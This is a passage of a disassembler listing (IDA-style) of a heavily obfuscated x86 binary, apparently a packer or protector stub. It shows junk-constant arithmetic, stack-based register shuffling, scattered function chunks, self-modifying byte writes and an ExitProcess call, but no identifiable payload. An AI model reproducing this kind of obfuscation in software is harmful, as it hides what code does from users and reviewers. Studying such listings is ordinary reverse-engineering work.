		xchg	ebx, [eax]
		jmp	loc_4328CA
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431E69


loc_430F79:				; CODE XREF: sub_431E69+Dj
		mov	eax, offset loc_43287C
		jmp	loc_432872
; END OF FUNCTION CHUNK	FOR sub_431E69
; ---------------------------------------------------------------------------
		align 4
		dd 241FBF00h, 46E90043h, 87FFFFE5h, 0DDBF240Ch,	0E900431Bh
		dd 89Fh, 788C6800h, 815B212Fh, 6746B0EBh, 58C38102h
		db 6Fh,	7Ah, 0E1h
byte_430FAF	db 66h			; DATA XREF: fzj3qwht:00432680o
; ---------------------------------------------------------------------------
		sbb	al, 24h
		retn
; ---------------------------------------------------------------------------
		align 4


loc_430FB4:				; CODE XREF: fzj3qwht:0042E901j
		jmp	loc_43100B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_430FBB:				; CODE XREF: sub_431F5F:loc_430A3Aj
		mov	edx, [eax]
		or	edx, edx
		jmp	loc_4325FB
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
		db 2 dup(0)
aHSoxbstxpchC	db 'hÝš‘®Xè’•¯—hê(C',0 ; DATA XREF: fzj3qwht:0042EE9Ao
		db 0E9h
; ---------------------------------------------------------------------------
		push	ebx
		fdivr	st, st(7)
		inc	dword ptr [eax]
		add	bl, al
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_430FDF:				; CODE XREF: sub_42F4AE+11Bj
		jmp	nullsub_137
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		dd 0EC49BB53h, 79E90042h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_430FEF:				; CODE XREF: fzj3qwht:0043265Bj
		mov	edi, ecx
		xchg	edi, [esp]
		push	0B2061AFCh
		pop	esi
		and	esi, 0E05E21C9h
		or	esi, 12BB8FE4h
		jmp	loc_43284F
; ---------------------------------------------------------------------------


loc_43100B:				; CODE XREF: fzj3qwht:loc_430FB4j
		add	eax, edi
		pop	edi
		push	offset word_43263A
		jmp	locret_430EE3
; ---------------------------------------------------------------------------
		dd 6C60000h, 0A0B95E03h, 0E90042EAh, 0FFFFE9ACh, 240C8700h
					; CODE XREF: sub_431C85+Cj
		dd 8B243C87h, 7C65FCFh,	0E02688Bh, 0C2E90043h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43103F:				; CODE XREF: fzj3qwht:0042F90Cj
		xchg	eax, [esp]
		pop	eax
		push	ebx
		push	edx
		push	0B83AA6B6h
		pop	edx
		jmp	loc_43162A
; ---------------------------------------------------------------------------
		dd 0EF815F00h, 0CF3419F8h, 0C781C7D1h, 10899CFCh, 0E906C7C1h
		dd 0FFFFE3DAh, 0CE815E00h, 8C44D0DDh, 8716F681h, 0C6C16A5Dh
		dd 0AAC68112h, 0E98C9B5Eh, 0FFFFEDEBh, 8B06C600h, 8FCE8h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43108F:				; CODE XREF: fzj3qwht:00430377j
		jmp	loc_42F34C
; ---------------------------------------------------------------------------
		dd 3C870000h, 54885F24h, 0BE68E005h, 5840EFB1h,	0F4D5E881h
		dd 0C0814095h, 0A0EC7B95h, 0FFDB48E9h, 0B2810FFFh, 0E9000017h
		dd 0DBDh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_4310C1:				; CODE XREF: sub_431686:loc_430B7Cj
		push	0D46C9A3Bh
		call	sub_430BD8


loc_4310CB:				; CODE XREF: fzj3qwht:0042E8A7j
		jmp	loc_42EC41
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		xchg	edx, [esp]
		push	750CB83Fh
		xchg	esi, [esp]
		mov	ebx, esi
		jmp	loc_432008
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 0FFE5B983h, 0E67EE9FFh, 0FFFFh, 0C481EC8Bh, 0FFFFFF74h
		dd 0FFDE64E8h, 0E90000FFh, 0FFFFEE4Fh, 2DE800h,	0
; ---------------------------------------------------------------------------
		jmp	loc_43127F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_431113:				; CODE XREF: fzj3qwht:loc_42F99Ej
		jmp	sub_42FCC8
; ---------------------------------------------------------------------------


loc_431118:				; CODE XREF: fzj3qwht:loc_42E950j
		mov	byte ptr [eax],	87h
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		mov	ecx, esi
		pop	esi
		jmp	near ptr loc_43247B+1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_43112B:				; CODE XREF: sub_431F5F-2DF2j
		or	ebx, 13FAD79Dh
		jmp	near ptr dword_42EB78+39h
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		or	al, 24h
		pop	ecx
		push	42633AEBh
		pop	edx
		sub	edx, 0A0FC59DBh
		jmp	loc_4326A3
; ---------------------------------------------------------------------------
		dd 0ED810000h, 0BC7A3344h, 87241C87h, 0DA8B2414h, 9431685Ah
		dd 0B1E9472Fh
		db 0F5h, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_431167	proc near		; CODE XREF: sub_431452p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042EF10 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042FF7C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00430025 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00430837 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00430E53 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00430E98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043281C SIZE 0000000F BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	ecx, [esp+0]
		xchg	eax, [esp+0]
		mov	ecx, eax
		pop	eax
		push	ecx
		mov	ecx, eax
		jmp	loc_430837
sub_431167	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0C7685300h, 872E4E3Ch, 0DD8B242Ch, 57C3D15Dh, 0FFFF7BE9h
		dd 30000FFh, 110CE9DAh,	0
; ---------------------------------------------------------------------------


loc_43119C:				; CODE XREF: fzj3qwht:loc_4309D2j
		mov	esi, 42FBD7h
		jmp	near ptr byte_42F52D+2
; ---------------------------------------------------------------------------


loc_4311A6:				; CODE XREF: fzj3qwht:loc_43025Aj
		mov	byte ptr [edx],	89h
		pop	edx
		push	edi
		push	offset loc_42FD94
		jmp	loc_430AD1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFF18787h, 240C87FFh, 8BF08159h, 0E9DA5CD1h, 0FFFFDAAFh
					; CODE XREF: fzj3qwht:00432362p
		dd 0F87D83h, 6568D0Fh, 0CBE80000h, 0FFFFEAh
; ---------------------------------------------------------------------------


loc_4311DC:				; CODE XREF: fzj3qwht:00430DCEj
		jmp	locret_42F584
; ---------------------------------------------------------------------------
		align 2
		dw 0CEC1h
		dd 0F780E918h, 8F0FFFFFh, 0A9Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_4311F0:				; CODE XREF: sub_431F5F:loc_42F167j
		call	sub_42A134


loc_4311F5:				; CODE XREF: fzj3qwht:0043036Aj
					; sub_431F5F+Bj
		xchg	ebx, [esp+0]
		mov	eax, ebx
		jmp	loc_431D14
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
		align 10h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_431202:				; CODE XREF: fzj3qwht:004306E9j
		retn
; ---------------------------------------------------------------------------
		align 4

locret_431204:				; CODE XREF: fzj3qwht:00430DFCj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFF107h, 67680000h, 0E9004318h, 0FFFFFC6Bh, 3C87FA8Bh
		dd 1BDBA24h, 0FAE90043h, 3
; ---------------------------------------------------------------------------


loc_431228:				; CODE XREF: fzj3qwht:loc_432467j
		mov	byte ptr [eax],	1
		pop	eax
		lodsb


loc_43122D:				; DATA XREF: fzj3qwht:0042FB7Fo
		add	edx, eax
		rol	edx, 3


loc_431232:				; CODE XREF: fzj3qwht:0042F7BFj
		call	near ptr dword_42F064+3Fh
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431AED


loc_431239:				; CODE XREF: sub_431AED+Fj
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		mov	ecx, ebx
		pop	ebx
		push	0C4F30422h
		xchg	esi, [esp-4+arg_0]
		mov	eax, esi
		jmp	loc_4316D0
; END OF FUNCTION CHUNK	FOR sub_431AED
; ---------------------------------------------------------------------------
		db 9Ch
		dd 0C9A47C68h, 0CF815F5Ah, 2E8D35F7h, 0FCDBC781h, 0FD030241h
		dd 4D32C781h, 0A1E97EF0h, 0FFFFEAh
; ---------------------------------------------------------------------------


loc_431270:				; CODE XREF: fzj3qwht:loc_42F984j
		call	sub_42FF32
; ---------------------------------------------------------------------------
		db 2 dup(0), 55h
; ---------------------------------------------------------------------------
		jmp	loc_42E77C
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43127F:				; CODE XREF: fzj3qwht:0043110Cj
		push	0B9FA1DE8h
		pop	edi
		rol	edi, 11h
		add	edi, 0F7BBB1CFh


loc_43128E:				; CODE XREF: fzj3qwht:0042EA26j
		jmp	loc_42FACF
; ---------------------------------------------------------------------------
		align 4
		dd 0FD4A6800h, 0B8E90042h, 1, 0A4F0DB81h, 0DF1B33B6h, 9A5E9h
		dd 81000000h, 885C65CEh, 0E52CE9E3h, 0C300FFFFh
; ---------------------------------------------------------------------------


loc_4312BC:				; CODE XREF: fzj3qwht:0042F492j
		jmp	loc_43169A
; ---------------------------------------------------------------------------
		align 2

locret_4312C2:				; CODE XREF: fzj3qwht:004313A9j
		retn
; ---------------------------------------------------------------------------


loc_4312C3:				; CODE XREF: fzj3qwht:00430832j
		pushf
		push	edx
		push	0E5366D6Eh
		push	esi
		mov	esi, offset loc_42F957
		jmp	loc_42F8B4
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4312D7	proc near		; CODE XREF: sub_42F04D+Dp
					; fzj3qwht:004303D5j

; FUNCTION CHUNK AT 0042F7B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004302A9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00431B2E SIZE 00000007 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0D8027EBFh
		xchg	edi, [esp+0]
		mov	eax, edi
		jmp	loc_42F7B5
sub_4312D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_431452


loc_4312EC:				; CODE XREF: sub_431452+96j
		xchg	edx, [esp+0]
		mov	edi, edx
		pop	edx
		mov	byte ptr [eax],	0C3h
		push	edx
		push	0DE570ECDh
		xchg	esi, [esp+4+var_4]
		jmp	loc_42F4E0
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		rol	ecx, 6
		sub	ecx, 69C05D74h
		xor	ecx, 5C00984Eh
		sub	ecx, 222D6085h
		add	ecx, 8CB5E104h
		jmp	loc_4325EE
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0FFFFF826h, 0E77AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43132E:				; CODE XREF: fzj3qwht:0042F7F8j
		mov	byte ptr [ebx],	88h
		pop	ebx
		add	edx, 30h
		push	0AB6C8639h
		pop	eax
		jmp	loc_4300D1
; ---------------------------------------------------------------------------
		dd 242C8700h, 815DC58Bh, 0EB4CBAE0h, 0DAE88113h, 0E9EAF184h
		dd 0FFFFEA78h
; ---------------------------------------------------------------------------

locret_431358:				; CODE XREF: fzj3qwht:00430881j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
		dd 5B5B241Ch, 8B240C87h, 8F6859D9h, 0E9004302h,	0FFFFDB42h
		dd 26A2D281h, 0BCE9E887h, 0FFFFFDh, 0E9CF3B5Eh,	0FFFFFE33h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_431F11


loc_431388:				; CODE XREF: sub_431F11+7j
		jmp	loc_43270D
; END OF FUNCTION CHUNK	FOR sub_431F11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301AC


loc_43138D:				; CODE XREF: sub_4301AC:loc_430C2Fj
		add	edi, 91DF98CFh
		cmp	eax, edi
		pop	edi
		jmp	near ptr byte_42E865+2
; END OF FUNCTION CHUNK	FOR sub_4301AC
; ---------------------------------------------------------------------------
		align 4
		dd 0E9589D00h, 0FFFFF8C8h
; ---------------------------------------------------------------------------


loc_4313A4:				; CODE XREF: fzj3qwht:004328B3j
		push	offset dword_4308DC
		jmp	locret_4312C2
; ---------------------------------------------------------------------------
		dw 8100h
		dd 0E53B80C5h, 0EE5EE9A5h, 0FFFFh, 689C008Bh, 0C4D4678Ah
		dd 0F64E959h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_4313CB:				; CODE XREF: fzj3qwht:loc_42F9FAj
		call	sub_43239B
		sbb	esi, ebx
		and	eax, 17AD334Ah
		rol	eax, 18h
		xor	eax, 655EA351h
		push	offset word_4327A6
		jmp	locret_43188F
; ---------------------------------------------------------------------------


loc_4313EB:				; CODE XREF: fzj3qwht:loc_42FA05j
		jp	loc_430173

; =============== S U B	R O U T	I N E =======================================



sub_4313F1	proc near		; CODE XREF: fzj3qwht:0043027Cp
		xchg	ecx, [esp+0]
		pop	ecx
		push	edx
		push	42ECA6h
		jmp	nullsub_150
sub_4313F1	endp

; ---------------------------------------------------------------------------
		dd 11870000h, 0E914E9C1h, 0FFFFF08Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43140E:				; CODE XREF: fzj3qwht:00430174j
		mov	[ebx], ecx

; =============== S U B	R O U T	I N E =======================================



sub_431410	proc near		; CODE XREF: fzj3qwht:0042EFC8p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0042FE63 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00431A18 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00431A37 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004320F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00432616 SIZE 00000015 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 8443A509h


loc_43141A:				; CODE XREF: sub_42F4AE+EAj
		mov	eax, [eax]
		sub	eax, edx
		jz	loc_42FE63
		jmp	loc_432616
sub_431410	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		xor	esi, 0B02F0C60h
		and	esi, 0A62240BAh
		xor	esi, 7D6371B8h
		add	edx, esi
		pop	esi
		mov	edx, [edx]
		jmp	loc_432789
; ---------------------------------------------------------------------------


loc_431446:				; DATA XREF: fzj3qwht:0042FE17o
		mov	byte ptr [ebp-20h], 30h
		inc	dword ptr [ebp-10h]
; START	OF FUNCTION CHUNK FOR sub_431686


loc_43144D:				; CODE XREF: sub_431686:loc_431C97j
		call	sub_42FED0
; END OF FUNCTION CHUNK	FOR sub_431686

; =============== S U B	R O U T	I N E =======================================



sub_431452	proc near		; CODE XREF: fzj3qwht:0042EF4Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042EF52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FCE9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00430338 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00430598 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004312EC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00431946 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431A88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431D26 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00431EF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004320D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004325F3 SIZE 0000000D BYTES

		call	sub_431167
		jmp	locret_4315E0
; ---------------------------------------------------------------------------
		dd 59240C87h, 0DED6C681h, 34877F73h, 0D38CE824h, 0E900FFFFh
		dd 0FFFFF7D7h
		db 0
; ---------------------------------------------------------------------------


loc_431475:				; CODE XREF: fzj3qwht:0042F7EFj
		jmp	loc_431D26
; ---------------------------------------------------------------------------
		or	esi, 0CB694E7Ch


loc_431480:				; CODE XREF: sub_42E990+4p
		xchg	edi, [esp+4+var_4]
		pop	edi
		xchg	edx, [esp+0]
		push	offset byte_430405
		jmp	loc_431EF6
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 0FFDDBDE9h
		db 0FFh
		db 0D5h, 5, 9Dh		; DATA XREF: sub_431F38+5o
		dd 68004321h, 431714h, 0FFFD5EE9h, 0F0000FFh, 0FFDC0B85h
		dd 0FC1AE9FFh, 0FFFFh, 0CB1B078Bh, 0FFDBF5E9h, 810000FFh
		dd 5D5006FDh, 0F694E976h, 8100FFFFh, 0DB902CD5h, 0F823E99Ch
		dd 0F00FFFFh, 92880h
		db 0
; ---------------------------------------------------------------------------


loc_4314E1:				; CODE XREF: fzj3qwht:0042F2A3p
		xchg	esi, [esp+4+var_4]
		pop	esi
		xchg	edi, [esp+0]
		jmp	loc_4312EC
; ---------------------------------------------------------------------------
		db 0Fh,	83h, 3Dh
		dd 0E9FFFFE0h, 0FFFFDF08h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_4314FA:				; CODE XREF: sub_4301B7-723j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFA8EE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_431502:				; CODE XREF: fzj3qwht:0042EEF0j
		call	near ptr dword_42EEA4+15h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_431508:				; CODE XREF: fzj3qwht:loc_42EA3Fj
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 2Ch, 0FAh
		dd 1268FFFFh, 87487869h
; ---------------------------------------------------------------------------
		std
		xor	esi, edx


loc_431517:				; CODE XREF: sub_430AEE:loc_430C3Dj
		call	sub_42EE90


loc_43151C:				; CODE XREF: sub_42F4AE+2F8Fp
		xchg	edx, [esp+0]
		pop	edx
		push	8FD8D7ACh
		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		and	edx, 4FA92517h
		jmp	loc_431946
; ---------------------------------------------------------------------------
		dw 339Ch
		dd 52E881F1h, 68A4B4D8h, 430690h, 0FFF144E9h, 810000FFh
		dd 47C3E1C2h, 243487ACh, 0E8C3815Eh, 0E9D40303h, 0FFFFF001h
		dd 689D0000h, 431675h, 61AE9h, 0C30000h, 241C8700h, 0C87CB8Bh
		dd 0E9D98B24h, 0FFFFF048h, 24148700h, 0EB8B555Ah, 0FFE016E9h
		dd 0C10000FFh, 0FCE905EBh, 0C1FFFFF2h
		db 0E8h, 3
; ---------------------------------------------------------------------------


loc_43159A:				; CODE XREF: sub_42FF6B:loc_432476p
		xchg	eax, [esp-4+arg_0]
		xchg	ebp, [esp-4+arg_0]
		mov	eax, ebp
		pop	ebp
		mov	byte ptr [esi],	0Fh
		pop	esi
		jmp	loc_42EF52
; ---------------------------------------------------------------------------

locret_4315AC:				; CODE XREF: sub_42F4AE+3138j
		retn
; ---------------------------------------------------------------------------


loc_4315AD:				; CODE XREF: fzj3qwht:00432674j
		jmp	near ptr dword_42EA44+12h
; ---------------------------------------------------------------------------
		db 0C6h	; Æ
		db    1
		db  9Ch	; œ
		db  59h	; Y
		db  81h	; 
		db 0CBh	; Ë
		db  39h	; 9
		db  79h	; y
		db  0Ah
		db  9Ah	; š
		db  81h	; 
		db 0EBh	; ë
		db  29h	; )
		db 0EBh	; ë
		db 0E7h	; ç
		db  0Ah
		db  81h	; 
		db 0CBh	; Ë
		db  1Eh
		db  11h
		db  92h	; ’
		db 0BCh	; ¼
		db 0E9h	; é
		db  54h	; T
		db 0F5h	; õ
		db 0FFh
		db 0FFh
		db  89h	; ‰
		db  3Eh	; >
		db 0E9h	; é
		db 0CDh	; Í
		db 0F1h	; ñ
		db 0FFh
		db 0FFh
		db  1Bh
		db 0F3h	; ó
		db  87h	; ‡
		db  3Ch	; <
		db  24h	; $
		db  5Fh	; _
		db  56h	; V
		db 0E9h	; é
		db  29h	; )
		db    6
		db    0
		db    0
; ---------------------------------------------------------------------------

locret_4315E0:				; CODE XREF: sub_431452+5j
		retn
sub_431452	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 0FFDAA2E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_4301AC


loc_4315EA:				; CODE XREF: sub_4301AC+1B2Aj
		jge	loc_431DA4
		add	cl, al
		jecxz	short loc_431604
		sub	eax, 0E59B55E5h
		mov	eax, [esi]
		not	ebx
		jmp	loc_431DA4
; END OF FUNCTION CHUNK	FOR sub_4301AC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_4301AC


loc_431604:				; CODE XREF: sub_4301AC+1446j
					; fzj3qwht:loc_4321CFj
		add	[edi], cl
		test	[ecx+0Dh], dl
; END OF FUNCTION CHUNK	FOR sub_4301AC
; ---------------------------------------------------------------------------
		db 2 dup(0), 55h
; ---------------------------------------------------------------------------
		or	ebp, esi
		push	0E910C2EEh
		add	edx, 0D85253DDh
		jmp	loc_43235C
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0F0E6E900h
		db 2 dup(0FFh),	0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43162A:				; CODE XREF: fzj3qwht:0043104Bj
		jmp	loc_43172C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_42FF6B


loc_431630:				; CODE XREF: sub_42FF6B+9j
		jmp	loc_42FD40
; END OF FUNCTION CHUNK	FOR sub_42FF6B
; ---------------------------------------------------------------------------


loc_431635:				; CODE XREF: fzj3qwht:0042EEFBj
		jmp	loc_4301ED
; ---------------------------------------------------------------------------
		dw 8700h
		dd 24E82434h, 0FFFFE5h,	1320E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301B7


loc_43164B:				; CODE XREF: sub_4301B7:loc_4324AAj
		test	ecx, 200000h
		jmp	loc_42EA10
; END OF FUNCTION CHUNK	FOR sub_4301B7
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2809DEB7h, 4464C981h, 0C181631Fh, 0E6CAFA77h, 5F68CD03h
		dd 0E900431Ah, 0FFFFFFABh, 4AE800h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430F48


loc_43167B:				; CODE XREF: sub_430F48-B85j
		jmp	loc_42FB2D
; END OF FUNCTION CHUNK	FOR sub_430F48
; ---------------------------------------------------------------------------
		dd 11D5E900h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_431686	proc near		; CODE XREF: fzj3qwht:00430267j
					; fzj3qwht:004327D1p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042EC41 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042F33B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042F3B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FB23 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FEB9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043095D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00430B7C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00430CA0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004310C1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043144D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431890 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431A12 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431C97 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00432306 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00432775 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043278E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00432921 SIZE 0000002E BYTES

		xchg	ecx, [esp+0]
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		pop	ebp
		pushf
		push	389FB315h
		jmp	loc_432921
sub_431686	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_43169A:				; CODE XREF: fzj3qwht:loc_4312BCj
		and	edx, 0D91DCBF9h
		sub	edx, 9A1D4C15h
		add	edx, 0B4B93569h
		add	edx, ebp
		call	sub_43041D
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------


loc_4316B5:				; CODE XREF: fzj3qwht:00430854j
		jmp	loc_42FB23
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 3E2h, 0C5870000h, 59240C87h,	0E85D00C6h, 3F4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431AED


loc_4316D0:				; CODE XREF: sub_431AED-8A3j
		jmp	loc_42EE3D
; END OF FUNCTION CHUNK	FOR sub_431AED
; ---------------------------------------------------------------------------
		align 2


loc_4316D6:				; CODE XREF: fzj3qwht:loc_43050Dj
		pop	edi
		and	edi, 3F647BE2h
		add	edi, 0D768FF9h
		add	edi, ebp
		add	edi, 0B869600Dh
		call	near ptr dword_42F30C+11h
		add	[ecx+1F4718DEh], al
		xchg	eax, edx
		jmp	sub_42FF32
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4316FE	proc near		; CODE XREF: sub_42E990+Bj
					; sub_431452+C92p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042ED04 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F975 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004302F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00431965 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043249C SIZE 00000005 BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		add	edx, 496CA7E7h
		push	esi
		mov	esi, (offset loc_430CD8+1)
		jmp	loc_4302F8
sub_4316FE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0E425810Fh, 0EFE8FFFFh, 0FFFFDAh
; ---------------------------------------------------------------------------


loc_431720:				; CODE XREF: fzj3qwht:00430AA7j
		jmp	near ptr byte_42FABD+2
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0A44h
; ---------------------------------------------------------------------------


loc_43172C:				; CODE XREF: fzj3qwht:loc_43162Aj
		and	edx, 3B3AB8D3h
		xor	edx, 7DC10DF5h
		push	42F0E2h
		jmp	near ptr dword_42E8AC+0Eh
; ---------------------------------------------------------------------------
		align 4


loc_431744:				; DATA XREF: fzj3qwht:loc_4307AEo
		push	ecx
		mov	ecx, esi
		call	sub_431C85
		call	ds:dword_42A0C0	; ExitProcess
		push	edx
		mov	edx, esi
		xchg	edx, [esp]
		jmp	loc_432662
; ---------------------------------------------------------------------------
		align 2
		dw 0DA33h
		dd 0E909C9C1h, 0FFFFE674h, 0A5CB6800h, 815A3CBCh, 0D2B757C2h
		dd 96F2817Bh, 52614C8Fh, 430E38BAh, 0E197E900h,	0FFFFh
		dd 0F3EE9C3h, 1C870000h, 1A196824h, 6EE90043h, 7, 0A2A7F681h
		dd 92E98209h, 11h
		db 0
byte_4317A9	db 81h,	0C0h, 8Bh	; DATA XREF: sub_430E27+9F3o
		dd 3A5AB89h, 18FF68C5h,	0FAE90043h, 0FFFFD0h
		db 0
byte_4317BD	db 8Bh,	9, 9Ch		; DATA XREF: sub_42F4AE-1AEo
		dd 43110568h, 0FFBFE900h, 0FFFFh, 430C4E68h, 0FC99E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA52


loc_4317D6:				; CODE XREF: sub_42FA52:loc_42F73Cj
		xor	esi, 36A6EEB7h
		push	offset loc_42FBAF
		jmp	nullsub_129
; END OF FUNCTION CHUNK	FOR sub_42FA52
; ---------------------------------------------------------------------------
		align 4
		js	loc_430F5C
		jmp	sub_430011
; ---------------------------------------------------------------------------
		align 4
		dd 6DFA8100h, 0E9706B58h, 0FEFh, 0E9C30000h, 0DA7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43180A:				; CODE XREF: fzj3qwht:0042F1D4j
		jmp	loc_432754
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430E27


loc_431811:				; CODE XREF: sub_430E27:loc_431FD9j
		rol	eax, 11h
		and	eax, 0FDBE8957h
